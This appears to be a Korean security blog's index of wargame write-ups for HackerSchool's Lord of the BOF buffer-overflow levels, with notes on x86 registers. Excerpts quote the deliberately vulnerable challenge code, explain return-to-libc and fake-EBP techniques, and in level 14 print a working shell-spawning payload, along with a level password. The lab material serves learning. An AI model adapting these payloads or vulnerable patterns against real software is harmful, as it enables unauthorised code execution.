Hacking

    LOB 페도라 FC3 gate -> iron_golem

    FC3는 Redhat 9.0과 다르게 여러가지 보호기법들이 추가되었다.1. Exec-Shieled : 스택에 있는 코드 실행 불가2. ASLR : 랜덤 스택3. Ascill Armor : 연속적인 함수 호출 불가 4. Stack Dummy : 스택 사이에 더미를 넣음 RTL 과 fake ebp를 이용해서 풀수있다.RTL을 이용해 execl 함수로 쉘을 띄워보겠다. execl (실행할 파일 , 인자1, 인자2, ..., NULL);execl은 마지막 인자가 NULL이 와야한다. 이부분은 got를 이용할것이다.objdump에 -h 옵션을 줘서 확인하도록 하겠다. got의 주소는 0x8049618이다gdb로 더 자세히 확인해보겠다. 첫번째 인자가 0x8049618이라 할때 첫번째인자가 0x804954c가되고 ..

    SSA 1주차

    범용 레지스터는 계산, 메모리 어드레스 지정, 임시저장공간 등의 목적으로 사용한다x86-64 프로세서의 범용 레지스터AX : 산술 연산을 수행할때 누산기로 사용한다BX : 데이터의 어드레스를 지정할때 데이터 포인터로 사용CX : 루프 또는 문자열의 카운터로 사용DX: I/O 관련 어드레스를 지정할때 사용, 산술연산을 수행할때 보조 레지스터로 사용SI : 문자열에 관련된 작업을 수행할때 원본 문자열의 인덱스로 사용DI : 문자열에 관련된 작업을 수핼할때 목적지 문자열의 인덱스로 사용SP: 스택의 포인터로 사용BP: 스택의 데이터에 접근할때 데이터의 포인터로 사용R8 ~ R15: x86-64 프로세서에서 추가된 범용 레지스터로 다양한 용도로 사용가능 // 16비트일때 접두사 X 32비트일때 E 64비트일때 ..

    HackerSchool LOB Level 19

    /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg*/ #include #include #include main(){char buffer[40];char *ret_addr; // overflow!fgets(buffer, 256, stdin);printf("%s\n", buffer); if(*(buffer+47) == '\xbf'){printf("stack retbayed you!\n");exit(0);} if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); } // check if the ret_addr is library function or..

    HackerSchool LOB Level 18

    /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT*/ #include #include #include #include main(int argc, char *argv[]){char buffer[40];char *addr; if(argc < 2){printf("argv error\n");exit(0);} // check addressaddr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(0); } // overflow! strcpy(buffer, argv[1]);printf("%s\n..

    HackerSchool LOB Level 17

    /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include #include #include // the inspectorint check = 0; void MO(char *cmd){ if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh!system(cmd);} void YUT(void){ if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4;} void GUL(void){ if(check != 2) exit(0); printf("welcome to..

    HackerSchool LOB Level 16

    ※소스분석 buffer 40스택영역과 라이브러리 영역에 쉘코드를 올릴수없음argv[1] 은 48까지 입력할수있음이 문제는 Fake ebp를 활용해 풀어야한다 Fake EBP란?leave ret의 명령어 구성leave mov esp, ebppop ebp ret pop eipjmp eip 간단하게말해서 sfp에 buf+4 부분을 덮고 ret에 ret을 덮는것이다 Ret 영역에 leave ret 가젯을 넣어주면 leave mov esp ebp // mov esp ebp가 수행되면서 ebp가 esp로 들어감 -> esp가 ebp로 바뀜 -> pop ebp // pop eip가 수행되면서 스택주소가 +4됨ret pop eip // 조작해둔 leave가젯이 eip로 들어간다 jmp eip // leave 가젯으로 ..

    HackerSchool LOB Level 15

    코드를 보자※ No Stack No RTL스택영역과 라이브러리 영역에 코드를 올릴수가없다 풀이법은 RET에다 코드로서의(RET)을 넣는것이다.어셈블리 RET은 POP EIPJMP EIP 로 이루어져있다.해석해보자면 EIP를 POP한다음 EIP로 점프하는것이다.RET에다가 어셈블리RET을 넣으면 RET이 실행되면서 안의 POP EIP가 실행되 주소가 +4 되고 +4된 주소로 점프한다.우리는 환경변수에 코드를 올리고 공격해보겠다. 환경변수 test에 놉과 쉘코드를 올려준다. getenv함수를 이용하여 환경변수 test의 주소를 구해준다. gdb로 assasin을 복사한 assasi1을 열어 디스어셈블해주면 ret의 주소를 알수있다. RET의 주소는 0x804851e 이다. 페이로드를 짜보자자면 ./assas..

    HackerSchool LOB Level 14

    코드를 해석해보자면간단히말해서 execve함수를 사용해서 풀라는 뜻이다.페이로드는 [non 44] [&execve] [non 4] [/bin/sh] [argv0] [nob]./$"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`" 비밀번호는 one step closer 이다